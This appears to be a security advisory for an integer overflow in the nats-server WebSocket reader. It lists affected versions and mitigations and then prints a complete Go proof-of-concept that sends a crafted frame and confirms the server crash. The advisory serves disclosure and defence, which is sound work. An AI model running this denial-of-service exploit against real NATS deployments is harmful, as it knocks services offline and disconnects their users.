Integer Overflow or Wraparound Affecting github.com/nats-io/nats-server/v2/server package, versions >=2.2.0 <2.11.14>=2.12.0 <2.12.5

github.com/nats-io/nats-server/v2/server is an A simple, secure and performant communications system for digital systems, services and devices.

Affected versions of this package are vulnerable to Integer Overflow or Wraparound via the wsRead function. An attacker can cause the server process to crash and disconnect all clients by sending a specially crafted WebSocket frame with a 64-bit extended payload length where the most significant bit is set, exploiting a missing validation check.

Note:

This is only exploitable if the deployment uses WebSockets and exposes the network port to untrusted endpoints.

This vulnerability can be mitigated by restricting WebSocket access or limiting exposure of the network port to trusted endpoints.

package main

import (
    "bufio"
    "encoding/binary"
    "fmt"
    "net"
    "net/http"
    "os"
    "time"
)

func main() {
    target := "127.0.0.1:9222"
    if len(os.Args) > 1 {
        target = os.Args[1]
    }

    fmt.Printf("[*] Connecting to %s...\n", target)
    conn, err := net.DialTimeout("tcp", target, 5*time.Second)
    if err != nil {
        fmt.Printf("[-] Connection failed: %v\n", err)
        os.Exit(1)
    }
    defer conn.Close()

    // WebSocket upgrade
    req, _ := http.NewRequest("GET", "http://"+target, nil)
    req.Header.Set("Upgrade", "websocket")
    req.Header.Set("Connection", "Upgrade")
    req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==")
    req.Header.Set("Sec-WebSocket-Version", "13")
    req.Header.Set("Sec-WebSocket-Protocol", "nats")
    req.Write(conn)

    conn.SetReadDeadline(time.Now().Add(5 * time.Second))
    resp, err := http.ReadResponse(bufio.NewReader(conn), req)
    if err != nil || resp.StatusCode != 101 {
        fmt.Printf("[-] Upgrade failed\n")
        os.Exit(1)
    }
    fmt.Println("[+] WebSocket established")
    conn.SetReadDeadline(time.Time{})

    // Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte
    frame := make([]byte, 15)
    frame[0] = 0x82                                             // FIN + Binary
    frame[1] = 0xFF                                             // MASK + 127 (64-bit length)
    binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set
    frame[10] = 0xDE                                            // Mask key
    frame[11] = 0xAD
    frame[12] = 0xBE
    frame[13] = 0xEF
    frame[14] = 0x41                                            // 1 payload byte

    fmt.Printf("[*] Sending: %x\n", frame)
    conn.Write(frame)

    time.Sleep(2 * time.Second)

    // Verify crash
    conn2, err := net.DialTimeout("tcp", target, 3*time.Second)
    if err != nil {
        fmt.Println("[!!!] SERVER IS DOWN — full process crash confirmed")
        os.Exit(0)
    }
    conn2.Close()
    fmt.Println("[-] Server still running")
}

• GitHub Advisory
• GitHub Commit
• NATS Advisory